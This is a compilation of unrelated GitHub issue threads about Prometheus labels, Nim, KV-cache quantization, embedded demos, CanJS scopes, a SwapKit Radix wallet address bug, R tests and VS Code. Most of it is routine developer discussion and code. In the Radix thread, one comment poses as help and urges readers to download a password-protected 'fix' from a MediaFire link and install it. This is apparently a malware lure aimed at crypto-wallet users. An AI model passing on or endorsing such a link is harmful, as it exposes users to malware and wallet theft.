Mentioned it to cow swap, waiting for them to implement

migrated


 The queue only shows the minutes after a full hour.

Will be addressed in the next major release (Iris)

This issue was moved to jaedb/Iris#6


[feature request] add container/task labels to target labels

first things first: I love your work, thanks.
now to the feature request:
We would like to filter the metrics based on various tags we attached to the AWS ECS TaskDefinition or the docker containers themselves. An example would be the environment name for example (we run several near-identical test environments in one test account and need to distinguish statistics between them).
I envision the target to look similar to this:
- targets:
  - <IP_ADDRESS>:12345
  labels:
    task_arn: arn:aws:ecs:re-gion-1:1234567890:task/SomeTaskName/876535678765
    task_name: SomeTaskName
    job: OurJobName
    task_revision: "2"
    task_group: service:AwesomeServiceName-763456784
    cluster_arn: arn:aws:ecs:re-gion-1:1234567890:cluster/ClusterName
    container_name: main
    container_arn: arn:aws:ecs:re-gion-1:1234567890:container/09876543-12345678-09876543-123456789
    docker_image: image-name:v0.12.1
    docker_label_environment: test1
    docker_label_somethingelse: anothervalue
    task_tag_tagkey: tagvalue
    task_tag_environment: test1
    __metrics_path__: /metrics

While in general it's inadvisable to create metrics that have unbounded label cardinality ( https://www.robustperception.io/cardinality-is-key ) — and I truly mean cardinality will kill your Prometheus hive — it's certainly possible to expand the data that is collected to it.  I bow out and leave it to the kind people at Teralytics to decide if it's appropriate to add a command-line parameter or some other configuration mechanism to fulfil this need..

I have the exact same need. For me is not the problem of cardinality because we don't have a huge amount of metrics, but we would like to distinguish them between environments.


http: fix prometheus metrics collector

As reported by the staticcheck:
[gonzalhu@labradorbox reva]$ staticcheck ./...
cmd/revad/httpserver/httpserver.go:208:25: prometheus.InstrumentHandler is deprecated: InstrumentHandler has several issues. Use the tooling provided in package promhttp instead. The issues are the following: (1) It uses Summaries rather than Histograms. Summaries are not useful if aggregation across multiple instances is required. (2) It uses microseconds as unit, which is deprecated and should be replaced by seconds. (3) The size of the request is calculated in a separate goroutine. Since this calculator requires access to the request header, it creates a race with any writes to the header performed during request handling.  httputil.ReverseProxy is a prominent example for a handler performing such writes. (4) It has additional issues with HTTP/2, cf. https://github.com/prometheus/client_golang/issues/272.  (SA1019)

We don't use prometheus anymore and we rely on opencensus instrumentation


Add a manual memory managed version of Nim

I've not done any benchmark against other implementations, but it's certainly faster than the GC version we currently have.

It performs a lot better than the current Nim version on the list, but actually worse than my current commit. But the memory performance is great. Combine the two versions and it will probably be both fast and low memory!


why add attention sink token to K/V cache can reduce outlier?

Thank you for your job! I have tried on llama3-8B and it works well on W4A4KV4, but I want to know why add attention sink token to K/V cache can reduce outlier. I tried to explain it on softmax and value compuation, but when add BOS token in K/V cache, the output may not change. Wish your explaination.

For example, one [BOS] token will cause outlier in the input of down_porj layer.
Then, if you prefix such [BOS] token in KV cache in advance,  LLMs do not required to calculate again in the down_proj layer due to the auto-regressive inference mechanism. Therefore, there is no new outliers during inference.

For example, one [BOS] token will cause outlier in the input of down_porj layer.
Then, if you prefix such [BOS] token in KV cache in advance, LLMs do not required to calculate again in the down_proj layer due to the auto-regressive inference mechanism. Therefore, there is no new outliers during inference.

I can understand prefixing [BOS] token can reduce the input activation range of down_proj layer. But I have a new question, by learning  your code, the prefix token is not quantized  and keep fp16. But I check the max value of those tokens in model llama3-8b is 4, so can we quantize [BOS] token with other tokens in KV cache?

The answer is no.
As shown in Figure 3 in the paper, the prefixed KV tokens have some lower outliers, indicating that the value range of these prefixed KV tokens is significantly smaller than other tokens. Therefore, prefixed tokens can not share same quantization parameters with normal tokens.


Fix demo initialization failure in Marvell board

The Marvell board encounteres frequent failures in demo jobs on CI with the following log:

13 1588361 [IP-task] vDHCPProcess: offer c0a82344ip

Network connection successful.

14 1888450 [IP-task] vDHCPProcess: offer c0a82344ip

Network connection successful.

15 2188554 [IP-task] vDHCPProcess: offer c0a82344ip

Network connection successful.

16 2488593 [IP-task] vDHCPProcess: offer c0a82344ip

Network connection successful.

17 2693377 [iot_thread] [ERROR][DEMO][2693377] Failed to initialize all the networks configured for18 2693377 [iot_thread] [ERROR][DEMO][2693377] Failed to initialize the demo. exiting...
19 2693377 [iot_thread] [INFO ][DEMO][2693377] -------DEMO FINISHED-------

The cause of the failure is from 2 calls made to WiFi_ConnectAP in the demo run for Marvell, one from the aws_demos/application_code/main.c and the other from the Network manager in the demo framework.
This PR fixes the issue by removing the duplicate call to connect to WiFi network from the Marvell demo main.c file.
Note: The prvWifiConnect function has been retained in the main.c file for reference logic for WiFi initialization for station and softAP mode in Marvell board for customers.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/bot run checks

/bot run checks

/bot run checks

/bot run checks

/bot run checks

/bot run checks

/bot run checks


Please do it also for Firefox too.

:3

Thanks for the suggestion, I will look into that as well.


Proposal: can-scope for exporting scope into the surrounding context.

Proposal
As we start using components more, we will want to add methods to our components that are meant for external use. #881 was an attempt to address this issue, but in keeping with our policy of isolating the DOM and ViewModel layers, I think it's better to expect these methods to mainly be accessed through the component viewmodels.
To facilitate this, I think following something similar to what Polymer does, by providing a simple mechanism for giving easy accessible names to child scopes. These names would be accessible directly through the component templates, and further
I propose using a can-scope attribute for facilitating access to child component functionality in a template, and in the component's viewModel. I further propose that non-Component html tags that use the can-id attribute will automatically be treated as a can-value, and have that value be accessible instead.
Concretely, can-scope will export the tag's scope into a name in the surrounding template. The attribute will also automatically add can-value-like functionality if used on a non-component.
Justification and Notes
This may require #1069 for proper operation, and will be much improved by #1360. Having #1361 would also be much more valuable here, since we would be able to just directly pass arguments to child scope methods.
Examples
<gt-placement-request param-new-name="{nameInput.value}" can-scope="{allPlacementsReq}" can-request-done="{notifyDone allPlacementsReq.value}">
</gt-placement-request>
<bs-button can-click="{allPlacementsReq.go placement}">Submit</bs-button>
<input can-scope="{nameInput}">
{{#if allPlacementsReq.error}}
    There's an error! {{allPlacementsReq.error}}
{{/if}}

 // in JS, too
scope: {
  getPlacements: function() {
    return this.attr("allPlacementsReq").go();
  }
}

Some thoughts on this (that I've already discussed with Kat):

I personally like can-id more than can-scope, even if this is not as accurate as can-scope largely because it is likely to be the overwhelming use case and people are so darn familiar with adding an ID.
I think that we can still have a side table with component names so they can be referenced directly within the same scope.  This changes the current example to:

<gt-placement-request param-new-name="{nameInput.value}" can-request-done="{notifyDone gt-placement-request.value}">
</gt-placement-request>
<bs-button can-click="{gt-placement-request.go placement}">Submit</bs-button>
<input can-scope="{nameInput}">
{{#if allPlacementsReq.error}}
    There's an error! {{allPlacementsReq.error}}
{{/if}}

I still don't like the idea of keeping a table of components. It has relatively little value above just doing can-scope and is much less flexible as soon as you start putting more than one component for any reason: You're going to randomly kill existing code without necessarily realizing you just did.
That said, the original intend of can-scope was to copy something that Polymer does with element ids: It scopes them to the shadow DOM, and puts any element with an ID into the $ object using that ID as a name. An alternative implementation to this feature, thus, is to just commit to how the shadow dom is expected to work and add a can.view.attr trigger on the id attribute that uses the id to add to the current component scope, but only works inside can.Component templates, or something.
I don't like can-id because I think it's worth driving the point home that you're not getting access to the DOM element here (as you do in Polymer), but the scope-slash-viewmodel. You're also not exactly giving it a name, but actually hooking it up to some two-way binding, just like any other two-way bind on attributes.

Regarding this, would
<gt-placement-request param-new-name="{nameInput.value}" this="{allPlacementsReq}" can-request-done="{notifyDone allPlacementsReq.value}">
</gt-placement-request>
<bs-button can-click="{allPlacementsReq.go placement}">Submit</bs-button>
<input this="{nameInput}">
{{#if allPlacementsReq.error}}
    There's an error! {{allPlacementsReq.error}}
{{/if}}

Be enough?  This would one-way export this into the parent scope.

cc @daffl where did you get on this for 2.3?

@daffl checked what you did:
can.view.attr(/\[[\w\.]+\]/, function(el, options) {
		var prop = removeBrackets(el.getAttribute(options.attributeName));
		var name = removeBrackets(options.attributeName, '[', ']');

		can.one.call(el, 'inserted', function() {
			var value = can.viewModel(el);

			if(prop !== 'this' && prop !== '.') {
				value = value.attr(prop);
			}

			options.scope.attr(name, value);
		});
	});

this won't change if the value.attr(prop) changes.  In that case, we should listen to changes in it and update the scope.attr.

This can be done in 2.3.0 with the new view bindings (http://canjs.com/2.3-pre/docs/can.view.bindings.html)


Radix connects with the wrong address

Current behavior
Given a phrase or key, the address given for the Radix wallet gives a different address than that in other apps such as the Radix app or CacaoSwap.
`
export async function createPrivateKey(phrase: string) {
const seed = await mnemonicToSeed(phrase);
return new PrivateKey.Ed25519(seed.slice(0, 32));
}
`
Suspect it's to do with this... it should give a digest not just take the first 32 chars, although I've been unable so far to work out what it should be.
Unfortunately now I have some users (perhaps just one, but a big one) who has used this method and so it needs to be an optional change not a breaking one.
Expected behavior
Gives the same address as other things.
Functionality

[ ] Swap
[ ] Liquidity
[ ] Savers
[ ] Loan
[X] Wallet
[ ] Transactions
[ ] Api
[ ] Other

Packages

[ ] @swapkit/sdk
[ ] @swapkit/core
[ ] @swapkit/api
[ ] @swapkit/helpers
[ ] @swapkit/tokens
[ ] @swapkit/toolbox-cosmos
[ ] @swapkit/toolbox-evm
[ ] @swapkit/toolbox-utxo
[ ] @swapkit/wallet-evm-extensions
[ ] @swapkit/wallet-keepkey
[ ] @swapkit/wallet-keplr
[ ] @swapkit/wallet-keystore
[ ] @swapkit/wallet-ledger
[ ] @swapkit/wallet-okx
[ ] @swapkit/wallet-trezor
[ ] @swapkit/wallet-wc
[ ] @swapkit/wallet-xdefi

Details
Package versions:
<EMAIL_ADDRESS>

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Hope this helps.. as I say though, I'd like for the option of the current way to still be available.. perhaps if index is set to -1 or somehing then it could do that, otherwise, this...
`
import { generateMnemonic } from 'bip39';
import {
derivePath as deriveEd25519Path,
} from 'ed25519-hd-key'
	const { RadixEngineToolkit, PrivateKey, NetworkId } = await import(
		"@radixdlt/radix-engine-toolkit");

	const createRadixWallet = async (mnemonic, index = 0) => {

		let seed = mnemonicToSeedSync(mnemonic);
		const derivedKeys = deriveEd25519Path("m/44'/1022'/1'/525'/1460'/"+index+"'", seed)
		const privateKey = new PrivateKey.Ed25519(new Uint8Array(derivedKeys.key));
		const virtualAccountAddress = await RadixEngineToolkit.Derive.virtualAccountAddressFromPublicKey(
			privateKey.publicKey(),
			NetworkId.Mainnet
		);

		return {
			privateKey: privateKey,
			publicKey: privateKey.publicKeyHex(),
			address: virtualAccountAddress.toString(),
		};
	};

`

Thanks will be working on radix in a couple hours.

Thanks will be working on radix in a couple hours.

Cool... if you are doing other radix stuff, here is my code that can input into the maya LP.
Just needs a line changing and it can be used to send funds with a memo which the SimpleTransactionBuilder can't.
`
radixWallet.transfer = async function ({ assetValue, from, recipient, memo }) {
			const assetBigInt = bigInt(assetValue.bigIntValue /<PHONE_NUMBER>000000000n);
			const assetNumber = assetBigInt.toJSNumber();

			const transactionHeader = {
				networkId: 1,
				validFromEpoch: Number(constructionMetadata.current_epoch),
				startEpochInclusive: Number(constructionMetadata.current_epoch),
				endEpochExclusive: Number(constructionMetadata.current_epoch) + 100,
				nonce: await generateRandomNonce(),
				fromAccount: from,
				signerPublicKey: signer.publicKey(),
				notaryPublicKey: signer.publicKey(),
				notaryIsSignatory: true,
				tipPercentage: 0
			};

			console.log('transactionHeader', transactionHeader);
			console.log('assetValue', assetValue);
			memo = memo + ':be:10';

			const mayaRouter = await mayaRadixRouter();

			console.log('assetBigInt', assetBigInt, decimal(assetNumber.toString()), assetNumber, address(from), address(recipient), memo);

			const transactionManifest = new ManifestBuilder()
				.callMethod(from, "lock_fee", [
					decimal(10),
				])
				.callMethod(from, "withdraw", [
					address(assetValue.address),
					decimal(assetNumber.toString()),
				])
				.takeAllFromWorktop(
					assetValue.address,
					 (builder, bucketId) => {
						console.log('bucketId', bucketId, bucket(bucketId), mayaRouter);

						return builder
							.callMethod(mayaRouter, "user_deposit", [
								address(from),
								address(recipient),
								bucket(bucketId),
								str(memo)

							])

					}
				)

				.build();
			console.log('transactionHeader', transactionHeader);
			console.log('transactionManifest', transactionManifest);

			const transaction = await TransactionBuilder.new()
				.then(builder =>
					builder
						.header(transactionHeader)
						.plainTextMessage(memo  || '') // Add the memo
						.manifest(transactionManifest)
						.sign(signer) // Sign the transaction
						.notarize(signer) // Notarize the transaction
				);

				console.log('transaction', transaction);

			const transactionId = await RadixEngineToolkit.NotarizedTransaction.intentHash(transaction);

			const compiledNotarizedTransaction =
				await RadixEngineToolkit.NotarizedTransaction.compile(transaction);

			console.log('transactionId', transactionId, compiledNotarizedTransaction);

			await radixWallet.api.LTS.submitTransaction({
				notarized_transaction_hex: Buffer.from(compiledNotarizedTransaction).toString('hex'),
			});
			return transactionId;
		};

`

Today busy with hard fork - will be continuing tmrw. FYI


Add tests using testthat

References
testthat docs
Hadley's breakdown
ToDo

[x] Add a test for ordination
[x] Add a test for heat tree creation
[x] Add a test for correlation plot creation
[x] Add tests for formatting functions
[x] Add tests for palettes
[x] Add tests for utils (#61)
[x] Add tests for phyloseq functions
[x] test for stacked_barplot
[x] test for alpha_diversity_plot
[x] test for permanova
[x] test for get_alpha_diversity_measures (1c3a7ae)

Code coverage was at 74% in PR #67. This issue can be closed now.


Terminal placement

Type: Feature Request
Hi Code team, can we have a feature to open terminal as a tab like opened files in VS code please? It would be great as one wont have to use split screen
VS Code version: Code 1.76.2 (ee2b180d582a7f601fa6ecfdad8d9fd269ab1884, 2023-03-14T17:55:54.936Z)
OS version: Windows_NT x64 10.0.22624
Modes:
Sandboxed: No

Thanks for creating this issue! It looks like you may be using an old version of VS Code, the latest stable release is 1.77.3. Please try upgrading to the latest version and checking whether this issue remains.
Happy Coding!

oh ok ok. sorry for inconvenience. We needed this feature in team as a
whole. Thanks for the service!
On Fri, Apr 21, 2023 at 2:26 PM Abhijit Chikane @.***>
wrote:

you can drag the terminal's specific tab into the editor
—
Reply to this email directly, view it on GitHub
https://github.com/microsoft/vscode/issues/180471#issuecomment-1517502802,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AH4O4YX3VC6QHA5FGKCEDRDXCJDSLANCNFSM6AAAAAAXGNL3FA
.
You are receiving this because you authored the thread.Message ID:
@.***>


Modify intro flow

Description
Modify text on intro page "create an initial account"or "import existing accounts".
The new text is shown in the screenshot below, and the only change is to the middle sentence, which is now:
"In case this is not your first time around, you must import existing accounts to get access to them."
All the text should also be changed to black.

Steps to Reproduce
Expected Result
Actual Result
Versions

1.0.22
mainnet

Text is not correct, see pic from latest testnet CCD app v1.2.1 (64):

Text is still not correct, see pic from latest testnet CCD app v1.2.3 (66):

Verified in testnet CCD app v.1.2.5(68).